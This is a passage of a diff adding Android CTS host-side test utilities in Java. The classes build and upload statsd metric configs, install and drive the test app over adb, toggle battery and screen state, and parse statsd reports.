+import com.android.internal.os.StatsdConfigProto.MessageMatcher;
+import com.android.internal.os.StatsdConfigProto.Position;
+import com.android.internal.os.StatsdConfigProto.Predicate;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.SimplePredicate;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.internal.os.StatsdConfigProto.TimeUnit;
+import com.android.os.AtomsProto.Atom;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import com.google.common.io.Files;
+
+import java.io.File;
+import java.util.Arrays;
+import java.util.List;
+
+import javax.annotation.Nullable;
+
+public final class ConfigUtils {
+    public static final long CONFIG_ID = "cts_config".hashCode(); // evaluates to -1572883457
+    public static final String CONFIG_ID_STRING = String.valueOf(CONFIG_ID);
+
+    // Attribution chains are the first field in atoms.
+    private static final int ATTRIBUTION_CHAIN_FIELD_NUMBER = 1;
+    // Uids are the first field in attribution nodes.
+    private static final int ATTRIBUTION_NODE_UID_FIELD_NUMBER = 1;
+    // Uids as standalone fields are the first field in atoms.
+    private static final int UID_FIELD_NUMBER = 1;
+
+    // adb shell commands
+    private static final String UPDATE_CONFIG_CMD = "cmd stats config update";
+    private static final String REMOVE_CONFIG_CMD = "cmd stats config remove";
+
+    /**
+     * Create a new config with common fields filled out, such as allowed log sources and
+     * default pull packages.
+     *
+     * @param pkgName test app package from which pushed atoms will be sent
+     */
+    public static StatsdConfig.Builder createConfigBuilder(String pkgName) {
+        return StatsdConfig.newBuilder()
+                .setId(CONFIG_ID)
+                .addAllowedLogSource("AID_SYSTEM")
+                .addAllowedLogSource("AID_BLUETOOTH")
+                // TODO(b/134091167): Fix bluetooth source name issue in Auto platform.
+                .addAllowedLogSource("com.android.bluetooth")
+                .addAllowedLogSource("AID_LMKD")
+                .addAllowedLogSource("AID_MEDIA")
+                .addAllowedLogSource("AID_RADIO")
+                .addAllowedLogSource("AID_ROOT")
+                .addAllowedLogSource("AID_STATSD")
+                .addAllowedLogSource("com.android.systemui")
+                .addAllowedLogSource(pkgName)
+                .addDefaultPullPackages("AID_RADIO")
+                .addDefaultPullPackages("AID_SYSTEM")
+                .addWhitelistedAtomIds(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
+    }
+
+    /**
+     * Adds an event metric for the specified atom. The atom should contain a uid either within
+     * an attribution chain or as a standalone field. Only those atoms which contain the uid of
+     * the test app will be included in statsd's report.
+     *
+     * @param config
+     * @param atomId index of atom within atoms.proto
+     * @param uidInAttributionChain if true, the uid is part of the attribution chain; if false,
+     *    uid is a standalone field
+     * @param pkgName test app package from which atom will be logged
+     */
+    public static void addEventMetricForUidAtom(StatsdConfig.Builder config, int atomId,
+            boolean uidInAttributionChain, String pkgName) {
+        FieldValueMatcher.Builder fvm = createUidFvm(uidInAttributionChain, pkgName);
+        addEventMetric(config, atomId, Arrays.asList(fvm));
+    }
+
+    /**
+     * Adds an event metric for the specified atom. All such atoms received by statsd will be
+     * included in the report. If only atoms meeting certain constraints should be added to the
+     * report, use #addEventMetric(int atomId, List<FieldValueMatcher.Builder> fvms instead.
+     *
+     * @param config
+     * @param atomId index of atom within atoms.proto
+     */
+    public static void addEventMetric(StatsdConfig.Builder config, int atomId) {
+        addEventMetric(config, atomId, /*fvms=*/null);
+    }
+
+    /**
+     * Adds an event metric to the config for the specified atom. The atom's fields must meet
+     * the constraints specified in fvms for the atom to be included in statsd's report.
+     *
+     * @param config
+     * @param atomId index of atom within atoms.proto
+     * @param fvms list of constraints that atoms are filtered on
+     */
+    public static void addEventMetric(StatsdConfig.Builder config, int atomId,
+            @Nullable List<FieldValueMatcher.Builder> fvms) {
+        final String matcherName = "Atom matcher" + System.nanoTime();
+        final String eventName = "Event " + System.nanoTime();
+
+        SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(atomId);
+        if (fvms != null) {
+            for (FieldValueMatcher.Builder fvm : fvms) {
+                sam.addFieldValueMatcher(fvm);
+            }
+        }
+
+        config.addAtomMatcher(AtomMatcher.newBuilder()
+                .setId(matcherName.hashCode())
+                .setSimpleAtomMatcher(sam));
+        config.addEventMetric(EventMetric.newBuilder()
+                .setId(eventName.hashCode())
+                .setWhat(matcherName.hashCode()));
+    }
+
+    /**
+     * Adds a gauge metric for a pulled atom with a uid field to the config. The atom will be
+     * pulled when an AppBreadcrumbReported atom is logged to statsd, and only those pulled atoms
+     * containing the uid of the test app will be included in statsd's report.
+     *
+     * @param config
+     * @param atomId index of atom within atoms.proto
+     * @param uidInAttributionChain if true, the uid is part of the attribution chain; if false, uid
+     *    is a standalone field
+     * @param pkgName test app package from which atom will be logged
+     */
+    public static void addGaugeMetricForUidAtom(StatsdConfig.Builder config, int atomId,
+            boolean uidInAttributionChain, String pkgName) {
+        addGaugeMetricInternal(config, atomId, /*filterByUid=*/true, uidInAttributionChain, pkgName,
+                /*dimensionsInWhat=*/null);
+    }
+
+    /**
+     * Equivalent to addGaugeMetricForUidAtom except that the output in the report is sliced by the
+     * specified dimensions.
+     *
+     * @param dimensionsInWhat dimensions to slice the output by
+     */
+    public static void addGaugeMetricForUidAtomWithDimensions(StatsdConfig.Builder config,
+            int atomId, boolean uidInAttributionChain, String pkgName,
+            FieldMatcher.Builder dimensionsInWhat) {
+        addGaugeMetricInternal(config, atomId, /*filterByUid=*/true, uidInAttributionChain, pkgName,
+                dimensionsInWhat);
+    }
+
+    /**
+     * Adds a gauge metric for a pulled atom to the config. The atom will be pulled when an
+     * AppBreadcrumbReported atom is logged to statsd.
+     *
+     * @param config
+     * @param atomId index of the atom within atoms.proto
+     * @param dimensionsInWhat dimensions to slice the output by
+     */
+    public static void addGaugeMetric(StatsdConfig.Builder config, int atomId) {
+        addGaugeMetricInternal(config, atomId, /*filterByUid=*/false,
+                /*uidInAttributionChain=*/false, /*pkgName=*/null, /*dimensionsInWhat=*/null);
+    }
+
+    /**
+     * Equivalent to addGaugeMetric except that output in the report is sliced by the specified
+     * dimensions.
+     *
+     * @param dimensionsInWhat dimensions to slice the output by
+     */
+    public static void addGaugeMetricWithDimensions(StatsdConfig.Builder config, int atomId,
+            FieldMatcher.Builder dimensionsInWhat) {
+        addGaugeMetricInternal(config, atomId, /*filterByUid=*/false,
+                /*uidInAttributionChain=*/false, /*pkgName=*/null, dimensionsInWhat);
+    }
+
+    private static void addGaugeMetricInternal(StatsdConfig.Builder config, int atomId,
+            boolean filterByUid, boolean uidInAttributionChain, @Nullable String pkgName,
+            @Nullable FieldMatcher.Builder dimensionsInWhat) {
+        final String gaugeName = "Gauge metric " + System.nanoTime();
+        final String whatName = "What atom matcher " + System.nanoTime();
+        final String triggerName = "Trigger atom matcher " + System.nanoTime();
+
+        // Add atom matcher for "what"
+        SimpleAtomMatcher.Builder whatMatcher = SimpleAtomMatcher.newBuilder().setAtomId(atomId);
+        if (filterByUid && pkgName != null) {
+            whatMatcher.addFieldValueMatcher(createUidFvm(uidInAttributionChain, pkgName));
+        }
+        config.addAtomMatcher(AtomMatcher.newBuilder()
+                .setId(whatName.hashCode())
+                .setSimpleAtomMatcher(whatMatcher));
+
+        // Add atom matcher for trigger event
+        SimpleAtomMatcher.Builder triggerMatcher = SimpleAtomMatcher.newBuilder()
+                .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
+        config.addAtomMatcher(AtomMatcher.newBuilder()
+                .setId(triggerName.hashCode())
+                .setSimpleAtomMatcher(triggerMatcher));
+
+        // Add gauge metric
+        GaugeMetric.Builder gaugeMetric = GaugeMetric.newBuilder()
+                .setId(gaugeName.hashCode())
+                .setWhat(whatName.hashCode())
+                .setTriggerEvent(triggerName.hashCode())
+                .setGaugeFieldsFilter(FieldFilter.newBuilder().setIncludeAll(true).build())
+                .setBucket(TimeUnit.CTS)
+                .setSamplingType(GaugeMetric.SamplingType.FIRST_N_SAMPLES)
+                .setMaxNumGaugeAtomsPerBucket(10_000);
+        if (dimensionsInWhat != null) {
+            gaugeMetric.setDimensionsInWhat(dimensionsInWhat.build());
+        }
+        config.addGaugeMetric(gaugeMetric.build());
+    }
+
+    /**
+     * Creates a FieldValueMatcher.Builder object that matches atoms whose uid field is equal to
+     * the uid of pkgName.
+     *
+     * @param uidInAttributionChain if true, the uid is part of the attribution chain; if false, uid
+     * is a standalone field
+     * @param pkgName test app package from which atom will be logged
+     */
+    public static FieldValueMatcher.Builder createUidFvm(boolean uidInAttributionChain,
+            String pkgName) {
+        if (uidInAttributionChain) {
+            FieldValueMatcher.Builder nodeFvm = createFvm(ATTRIBUTION_NODE_UID_FIELD_NUMBER)
+                    .setEqString(pkgName);
+            return createFvm(ATTRIBUTION_CHAIN_FIELD_NUMBER)
+                    .setPosition(Position.ANY)
+                    .setMatchesTuple(MessageMatcher.newBuilder().addFieldValueMatcher(nodeFvm));
+        } else {
+            return createFvm(UID_FIELD_NUMBER).setEqString(pkgName);
+        }
+    }
+
+    /**
+     * Creates a FieldValueMatcher.Builder for a particular field. Note that the value still needs
+     * to be set.
+     *
+     * @param fieldNumber index of field within the atom
+     */
+    public static FieldValueMatcher.Builder createFvm(int fieldNumber) {
+        return FieldValueMatcher.newBuilder().setField(fieldNumber);
+    }
+
+    /**
+     * Upload a config to statsd.
+     */
+    public static void uploadConfig(ITestDevice device, StatsdConfig.Builder configBuilder)
+            throws Exception {
+        StatsdConfig config = configBuilder.build();
+        CLog.d("Uploading the following config to statsd:\n" + config.toString());
+
+        File configFile = File.createTempFile("statsdconfig", ".config");
+        configFile.deleteOnExit();
+        Files.write(config.toByteArray(), configFile);
+
+        // Push config to temporary location
+        String remotePath = "/data/local/tmp/" + configFile.getName();
+        device.pushFile(configFile, remotePath);
+
+        // Send config to statsd
+        device.executeShellCommand(String.join(" ", "cat", remotePath, "|", UPDATE_CONFIG_CMD,
+                CONFIG_ID_STRING));
+
+        // Remove config from temporary location
+        device.executeShellCommand("rm " + remotePath);
+
+        // Sleep for a bit so that statsd receives config before more work is done within the test.
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+    }
+
+    /**
+     * Removes any pre-existing CTS configs from statsd.
+     */
+    public static void removeConfig(ITestDevice device) throws Exception {
+        device.executeShellCommand(String.join(" ", REMOVE_CONFIG_CMD, CONFIG_ID_STRING));
+    }
+
+    public static void uploadConfigForPushedAtomWithUid(ITestDevice device, String pkgName,
+            int atomId,
+            boolean useUidAttributionChain) throws Exception {
+        StatsdConfig.Builder config = createConfigBuilder(pkgName);
+        addEventMetricForUidAtom(config, atomId, useUidAttributionChain, pkgName);
+        uploadConfig(device, config);
+    }
+
+    public static void uploadConfigForPulledAtomWithUid(ITestDevice device, String pkgName,
+            int atomId,
+            boolean useUidAttributionChain) throws Exception {
+        StatsdConfig.Builder config = createConfigBuilder(pkgName);
+        addGaugeMetricForUidAtom(config, atomId, useUidAttributionChain, pkgName);
+        uploadConfig(device, config);
+    }
+
+    public static void uploadConfigForPushedAtom(ITestDevice device, String pkgName, int atomId)
+            throws Exception {
+        StatsdConfig.Builder config = createConfigBuilder(pkgName);
+        addEventMetric(config, atomId);
+        uploadConfig(device, config);
+    }
+
+    public static void uploadConfigForPushedAtoms(ITestDevice device, String pkgName, int[] atomIds)
+            throws Exception {
+        StatsdConfig.Builder config = createConfigBuilder(pkgName);
+        for (int atomId : atomIds) {
+            addEventMetric(config, atomId);
+        }
+        uploadConfig(device, config);
+    }
+
+    public static void uploadConfigForPulledAtom(ITestDevice device, String pkgName, int atomId)
+            throws Exception {
+        StatsdConfig.Builder config = createConfigBuilder(pkgName);
+        addGaugeMetric(config, atomId);
+        uploadConfig(device, config);
+    }
+
+    private ConfigUtils() {
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java
new file mode 100644
index 0000000..4f2f897
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java
@@ -0,0 +1,429 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.lib;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.service.battery.BatteryServiceDumpProto;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestResult.TestStatus;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.result.TestResult;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.util.Pair;
+
+import com.google.protobuf.InvalidProtocolBufferException;
+import com.google.protobuf.MessageLite;
+import com.google.protobuf.Parser;
+
+import java.io.FileNotFoundException;
+import java.util.Map;
+import javax.annotation.Nonnull;
+import javax.annotation.Nullable;
+
+/**
+ * Contains utility functions for interacting with the device.
+ * Largely copied from incident's ProtoDumpTestCase.
+ */
+public final class DeviceUtils {
+    public static final String STATSD_ATOM_TEST_APK = "CtsStatsdAtomApp.apk";
+    public static final String STATSD_ATOM_TEST_PKG = "com.android.server.cts.device.statsdatom";
+
+    private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+    private static final String KEY_ACTION = "action";
+
+    // feature names
+    public static final String FEATURE_WATCH = "android.hardware.type.watch";
+
+    public static final String DUMP_BATTERY_CMD = "dumpsys battery";
+
+    /**
+     * Runs device side tests.
+     *
+     * @param device Can be retrieved by running getDevice() in a class that extends DeviceTestCase
+     * @param pkgName Test package name, such as "com.android.server.cts.statsdatom"
+     * @param testClassName Test class name which can either be a fully qualified name or "." + a
+     *     class name; if null, all test in the package will be run
+     * @param testMethodName Test method name; if null, all tests in class or package will be run
+     * @return {@link TestRunResult} of this invocation
+     * @throws DeviceNotAvailableException
+     */
+    public static @Nonnull TestRunResult runDeviceTests(ITestDevice device, String pkgName,
+            @Nullable String testClassName, @Nullable String testMethodName)
+            throws DeviceNotAvailableException {
+        if (testClassName != null && testClassName.startsWith(".")) {
+            testClassName = pkgName + testClassName;
+        }
+
+        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
+                pkgName, TEST_RUNNER, device.getIDevice());
+        if (testClassName != null && testMethodName != null) {
+            testRunner.setMethodName(testClassName, testMethodName);
+        } else if (testClassName != null) {
+            testRunner.setClassName(testClassName);
+        }
+
+        CollectingTestListener listener = new CollectingTestListener();
+        assertThat(device.runInstrumentationTests(testRunner, listener)).isTrue();
+
+        final TestRunResult result = listener.getCurrentRunResults();
+        if (result.isRunFailure()) {
+            throw new Error("Failed to successfully run device tests for "
+                    + result.getName() + ": " + result.getRunFailureMessage());
+        }
+        if (result.getNumTests() == 0) {
+            throw new Error("No tests were run on the device");
+        }
+        if (result.hasFailedTests()) {
+            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+            for (Map.Entry<TestDescription, TestResult> resultEntry :
+                    result.getTestResults().entrySet()) {
+                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
+                    errorBuilder.append(resultEntry.getKey().toString());
+                    errorBuilder.append(":\n");
+                    errorBuilder.append(resultEntry.getValue().getStackTrace());
+                }
+            }
+            throw new AssertionError(errorBuilder.toString());
+        }
+        return result;
+    }
+
+    /**
+     * Runs device side tests from the com.android.server.cts.device.statsdatom package.
+     */
+    public static @Nonnull TestRunResult runDeviceTestsOnStatsdApp(ITestDevice device,
+            @Nullable String testClassName, @Nullable String testMethodName)
+            throws DeviceNotAvailableException {
+        return runDeviceTests(device, STATSD_ATOM_TEST_PKG, testClassName, testMethodName);
+    }
+
+    /**
+     * Install the statsdatom CTS app to the device.
+     */
+    public static void installStatsdTestApp(ITestDevice device, IBuildInfo ctsBuildInfo)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        installTestApp(device, STATSD_ATOM_TEST_APK, STATSD_ATOM_TEST_PKG, ctsBuildInfo);
+    }
+
+    /**
+     * Install a test app to the device.
+     */
+    public static void installTestApp(ITestDevice device, String apkName, String pkgName,
+            IBuildInfo ctsBuildInfo) throws FileNotFoundException, DeviceNotAvailableException {
+        CLog.d("Installing app " + apkName);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(ctsBuildInfo);
+        final String result = device.installPackage(
+                buildHelper.getTestFile(apkName), /*reinstall=*/true, /*grantPermissions=*/true);
+        assertWithMessage("Failed to install " + apkName + ": " + result).that(result).isNull();
+        allowBackgroundServices(device, pkgName);
+    }
+
+    /**
+     * Required to successfully start a background service from adb, starting in O.
+     */
+    private static void allowBackgroundServices(ITestDevice device, String pkgName)
+            throws DeviceNotAvailableException {
+        String cmd = "cmd deviceidle tempwhitelist " + pkgName;
+        device.executeShellCommand(cmd);
+    }
+
+    /**
+     * Uninstall the statsdatom CTS app from the device.
+     */
+    public static void uninstallStatsdTestApp(ITestDevice device) throws Exception {
+        uninstallTestApp(device, STATSD_ATOM_TEST_PKG);
+    }
+
+    /**
+     * Uninstall the test app from the device.
+     */
+    public static void uninstallTestApp(ITestDevice device, String pkgName) throws Exception {
+        device.uninstallPackage(pkgName);
+    }
+
+    /**
+     * Run an adb shell command on device and parse the results as a proto of a given type.
+     *
+     * @param device Device to run cmd on
+     * @param parser Protobuf parser object, which can be retrieved by running MyProto.parser()
+     * @param cmd The adb shell command to run (e.g. "cmd stats update config")
+     *
+     * @throws DeviceNotAvailableException
+     * @throws InvalidProtocolBufferException Occurs if there was an error parsing the proto. Note
+     *     that a 0 length buffer is not necessarily an error.
+     * @return Proto of specified type
+     */
+    public static <T extends MessageLite> T getShellCommandOutput(@Nonnull ITestDevice device,
+            Parser<T> parser, String cmd)
+            throws DeviceNotAvailableException, InvalidProtocolBufferException {
+        final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+        device.executeShellCommand(cmd, receiver);
+        try {
+            return parser.parseFrom(receiver.getOutput());
+        } catch (Exception ex) {
+            CLog.d("Error parsing " + parser.getClass().getCanonicalName() + " for cmd " + cmd);
+            throw ex;
+        }
+    }
+
+    /**
+     * Returns the UID of the host, which should always either be AID_SHELL (2000) or AID_ROOT (0).
+     */
+    public static int getHostUid(ITestDevice device) throws DeviceNotAvailableException {
+        String uidString = "";
+        try {
+            uidString = device.executeShellCommand("id -u");
+            return Integer.parseInt(uidString.trim());
+        } catch (NumberFormatException ex) {
+            CLog.e("Failed to get host's uid via shell command. Found " + uidString);
+            // Fall back to alternative method...
+            if (device.isAdbRoot()) {
+                return 0;
+            } else {
+                return 2000; // SHELL
+            }
+        }
+    }
+
+    /**
+     * Returns the UID of the statsdatom CTS test app.
+     */
+    public static int getStatsdTestAppUid(ITestDevice device) throws DeviceNotAvailableException {
+        return getAppUid(device, STATSD_ATOM_TEST_PKG);
+    }
+
+    /**
+     * Returns the UID of the test app.
+     */
+    public static int getAppUid(ITestDevice device, String pkgName)
+            throws DeviceNotAvailableException {
+        int currentUser = device.getCurrentUser();
+        String uidLine = device.executeShellCommand("cmd package list packages -U --user "
+                + currentUser + " " + pkgName);
+        String[] uidLineArr = uidLine.split(":");
+
+        // Package uid is located at index 2.
+        assertThat(uidLineArr.length).isGreaterThan(2);
+        int appUid = Integer.parseInt(uidLineArr[2].trim());
+        assertThat(appUid).isGreaterThan(10000);
+        return appUid;
+    }
+
+    /**
+     * Determines if the device has the given features.
+     *
+     * @param feature name of the feature (e.g. "android.hardware.bluetooth")
+     */
+    public static boolean hasFeature(ITestDevice device, String feature) throws Exception {
+        final String features = device.executeShellCommand("pm list features");
+        return features.contains(feature);
+    }
+
+    /**
+     * Runs an activity in a particular app.
+     */
+    public static void runActivity(ITestDevice device, String pkgName, String activity,
+            @Nullable String actionKey, @Nullable String actionValue) throws Exception {
+        runActivity(device, pkgName, activity, actionKey, actionValue,
+                AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    /**
+     * Runs an activity in a particular app for a certain period of time.
+     *
+     * @param pkgName name of package that contains the Activity
+     * @param activity name of the Activity class
+     * @param actionKey key of extra data that is passed to the Activity via an Intent
+     * @param actionValue value of extra data that is passed to the Activity via an Intent
+     * @param waitTimeMs duration that the activity runs for
+     */
+    public static void runActivity(ITestDevice device, String pkgName, String activity,
+            @Nullable String actionKey, @Nullable String actionValue, long waitTimeMs)
+            throws Exception {
+        try (AutoCloseable a = withActivity(device, pkgName, activity, actionKey, actionValue)) {
+            Thread.sleep(waitTimeMs);
+        }
+    }
+
+    /**
+     * Starts the specified activity and returns an {@link AutoCloseable} that stops the activity
+     * when closed.
+     *
+     * <p>Example usage:
+     * <pre>
+     *     try (AutoClosable a = withActivity("activity", "action", "action-value")) {
+     *         doStuff();
+     *     }
+     * </pre>
+     */
+    public static AutoCloseable withActivity(ITestDevice device, String pkgName, String activity,
+            @Nullable String actionKey, @Nullable String actionValue) throws Exception {
+        String intentString;
+        if (actionKey != null && actionValue != null) {
+            intentString = actionKey + " " + actionValue;
+        } else {
+            intentString = null;
+        }
+
+        String cmd = "am start -n " + pkgName + "/." + activity;
+        if (intentString != null) {
+            cmd += " -e " + intentString;
+        }
+        device.executeShellCommand(cmd);
+
+        return () -> {
+            device.executeShellCommand("am force-stop " + pkgName);
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        };
+    }
+
+    public static void setChargingState(ITestDevice device, int state) throws Exception {
+        device.executeShellCommand("cmd battery set status " + state);
+    }
+
+    public static void unplugDevice(ITestDevice device) throws Exception {
+        // On batteryless devices on Android P or above, the 'unplug' command
+        // alone does not simulate the really unplugged state.
+        //
+        // This is because charging state is left as "unknown". Unless a valid
+        // state like 3 = BatteryManager.BATTERY_STATUS_DISCHARGING is set,
+        // framework does not consider the device as running on battery.
+        setChargingState(device, 3);
+        device.executeShellCommand("cmd battery unplug");
+    }
+
+    public static void plugInAc(ITestDevice device) throws Exception {
+        device.executeShellCommand("cmd battery set ac 1");
+    }
+
+    public static void turnScreenOn(ITestDevice device) throws Exception {
+        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        device.executeShellCommand("wm dismiss-keyguard");
+    }
+
+    public static void turnScreenOff(ITestDevice device) throws Exception {
+        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+    }
+
+    public static boolean hasBattery(ITestDevice device) throws Exception {
+        try {
+            BatteryServiceDumpProto batteryProto = getShellCommandOutput(device, BatteryServiceDumpProto.parser(),
+                    String.join(" ", DUMP_BATTERY_CMD, "--proto"));
+            LogUtil.CLog.d("Got battery service dump:\n " + batteryProto.toString());
+            return batteryProto.getIsPresent();
+        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+            LogUtil.CLog.e("Failed to dump batteryservice proto");
+            throw (e);
+        }
+    }
+
+    public static void resetBatteryStatus(ITestDevice device) throws Exception {
+        device.executeShellCommand("cmd battery reset");
+    }
+
+    public static String getProperty(ITestDevice device, String prop) throws Exception {
+        return device.executeShellCommand("getprop " + prop).replace("\n", "");
+    }
+
+    public static boolean isDebuggable(ITestDevice device) throws Exception {
+        return Integer.parseInt(getProperty(device, "ro.debuggable")) == 1;
+    }
+
+    public static boolean checkDeviceFor(ITestDevice device, String methodName) throws Exception {
+        try {
+            runDeviceTestsOnStatsdApp(device, ".Checkers", methodName);
+            // Test passes, meaning that the answer is true.
+            LogUtil.CLog.d(methodName + "() indicates true.");
+            return true;
+        } catch (AssertionError e) {
+            // Method is designed to fail if the answer is false.
+            LogUtil.CLog.d(methodName + "() indicates false.");
+            return false;
+        }
+    }
+
+    /** Make the test app standby-active so it can run syncs and jobs immediately. */
+    public static void allowImmediateSyncs(ITestDevice device) throws Exception {
+        device.executeShellCommand("am set-standby-bucket "
+                + DeviceUtils.STATSD_ATOM_TEST_PKG + " active");
+    }
+
+    /**
+     * Runs a (background) service to perform the given action.
+     * @param actionValue the action code constants indicating the desired action to perform.
+     */
+    public static void executeBackgroundService(ITestDevice device, String actionValue)
+            throws Exception {
+        executeServiceAction(device, "StatsdCtsBackgroundService", actionValue);
+    }
+
+    /**
+     * Runs the specified statsd package service to perform the given action.
+     * @param actionValue the action code constants indicating the desired action to perform.
+     */
+    public static void executeServiceAction(ITestDevice device, String service, String actionValue)
+            throws Exception {
+        allowBackgroundServices(device);
+        device.executeShellCommand(String.format(
+                "am startservice -n '%s/.%s' -e %s %s",
+                STATSD_ATOM_TEST_PKG, service,
+                KEY_ACTION, actionValue));
+    }
+
+    /**
+     * Required to successfully start a background service from adb in Android O.
+     */
+    private static void allowBackgroundServices(ITestDevice device) throws Exception {
+        device.executeShellCommand(String.format(
+                "cmd deviceidle tempwhitelist %s", STATSD_ATOM_TEST_PKG));
+    }
+
+    /**
+     * Returns the kernel major version as a pair of ints.
+     */
+    public static Pair<Integer, Integer> getKernelVersion(ITestDevice device)
+            throws Exception {
+        String[] version = device.executeShellCommand("uname -r").split("\\.");
+        if (version.length < 2) {
+              throw new RuntimeException("Could not parse kernel version");
+        }
+        return Pair.create(Integer.parseInt(version[0]), Integer.parseInt(version[1]));
+    }
+
+    /** Returns if the device kernel version >= input kernel version. */
+    public static boolean isKernelGreaterEqual(ITestDevice device, Pair<Integer, Integer> version)
+            throws Exception {
+        Pair<Integer, Integer> kernelVersion = getKernelVersion(device);
+        return kernelVersion.first > version.first
+                || (kernelVersion.first == version.first && kernelVersion.second >= version.second);
+    }
+
+    private DeviceUtils() {}
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
new file mode 100644
index 0000000..9188894
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.lib;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog.ConfigMetricsReport;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.os.StatsLog.GaugeBucketInfo;
+import com.android.os.StatsLog.GaugeMetricData;
+import com.android.os.StatsLog.StatsLogReport;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import com.google.protobuf.InvalidProtocolBufferException;
+
+import java.util.ArrayList;
+import java.util.Comparator;
+import java.util.List;
+
+public final class ReportUtils {
+    private static final String DUMP_REPORT_CMD = "cmd stats dump-report";
+    private static final long NS_PER_SEC = (long) 1E+9;
+
+    /**
+     * Returns a list of event metrics, which is sorted by timestamp, from the statsd report.
+     * Note: Calling this function deletes the report from statsd.
+     */
+    public static List<EventMetricData> getEventMetricDataList(ITestDevice device)
+            throws Exception {
+        ConfigMetricsReportList reportList = getReportList(device);
+        return getEventMetricDataList(reportList);
+    }
+
+    /**
+     * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
+     * contain a single report).
+     */
+    public static List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
+            throws Exception {
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+        ConfigMetricsReport report = reportList.getReports(0);
+
+        List<EventMetricData> data = new ArrayList<>();
+        for (StatsLogReport metric : report.getMetricsList()) {
+            data.addAll(metric.getEventMetrics().getDataList());
+        }
+        data.sort(Comparator.comparing(EventMetricData::getElapsedTimestampNanos));
+
+        CLog.d("Get EventMetricDataList as following:\n");
+        for (EventMetricData d : data) {
+            CLog.d("Atom at " + d.getElapsedTimestampNanos() + ":\n" + d.getAtom().toString());
+        }
+        return data;
+    }
+
+    public static List<Atom> getGaugeMetricAtoms(ITestDevice device) throws Exception {
+        return getGaugeMetricAtoms(device, /*checkTimestampTruncated=*/false);
+    }
+
+    /**
+     * Returns a list of gauge atoms from the statsd report. Assumes that there is only one bucket
+     * for the gauge metric.
+     * Note: calling this function deletes the report from statsd.
+     *
+     * @param checkTimestampTrucated if true, checks that atom timestmaps are properly truncated
+     */
+    public static List<Atom> getGaugeMetricAtoms(ITestDevice device,
+            boolean checkTimestampTruncated) throws Exception {
+        ConfigMetricsReportList reportList = getReportList(device);
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+        ConfigMetricsReport report = reportList.getReports(0);
+        assertThat(report.getMetricsCount()).isEqualTo(1);
+
+        List<Atom> atoms = new ArrayList<>();
